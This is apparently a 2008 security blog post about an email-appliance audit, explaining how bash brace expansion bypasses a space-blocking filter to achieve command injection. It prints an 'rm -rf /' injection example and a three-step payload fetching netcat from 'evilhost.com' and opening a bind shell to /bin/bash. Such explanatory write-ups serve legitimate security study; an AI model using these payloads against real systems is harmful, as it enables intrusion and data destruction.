Bash Brace Expansion Cleverness
Thursday, September 4, 2008
Brace expansion is a nice feature in the Bash interpreter that happened to be exactly what I needed during an audit. A good thing to log away in memory in case you ever find yourself in a pen-test environment with similar constraints.
Bash Command Injection
During an audit of a popular email appliance, I encountered a scenario where attacker controlled input was improperly sanitized and passed as the argument to a command in a shell interpreter. These vulnerabilities are quite common and most commonly result in the attacker being able to inject his own commands via the input vector which are then executed by the shell.
For example, a hypothetical python program that uses the ping command to determine whether a host is alive:
def ping_test(host):
return os.system('ping %s' % host)
If host is attacker controlled and is not sanitized, a malicious party could craft an input such as "127.0.0.1 | rm -rf /". This input would result in the following command being executed:
sh -c "ping "127.0.0.1 | rm -rf /"
A common way to prevent these vulnerabilities is to escape shell metacharacters or perform some other sufficient sanitization/filtering of input.
Exploitation Sans Spaces
However, in my particular scenario, the developers attempted to prevent shell command injection by performing a simple, yet inadequate, sanitization. Since the input provided to this shell command would not normally have a space in it, the sanitization consisted of checking if a space existed in the input and throwing an error if a space was found. So while injecting a particular command was possible with an space-less input like "127.0.0.1|evilcmd", I was limited to only evilcmd's that didn't use spaces.
This limitation presented an interesting scenario: how can one compromise a box using bash shell commands not containing any spaces?
The answer, of course, is bash's brace expansion, which I came upon after some thorough Googling. Brace expansion can be useful in a variety of scenarios, but it directly benefits us since it allows us to construct complex bash commands without the use of spaces.
For example, the bash command "{echo,hello,world}" is expanded to "echo hello world":
jonojono@apollo ~ $ {echo,hello,world}
hello world
Since we now can craft arbitrary bash commands without spaces by using brace expansion, subsequent exploitation is straightforward. For example, fetching and executing a netcat binary to start a remote shell and poke around on the system:
127.0.0.1|{wget,http://evilhost.com/nc}
127.0.0.1|{chmod,+x,./nc}
127.0.0.1|{./nc,-l,-p,6666,-e,/bin/bash}
There were a number of additional constaints (small input size, legacy system, lack of standard binaries, unprivledged user access, etc) that made this scenario even more interesting that I hopefully will be able to post about in the future.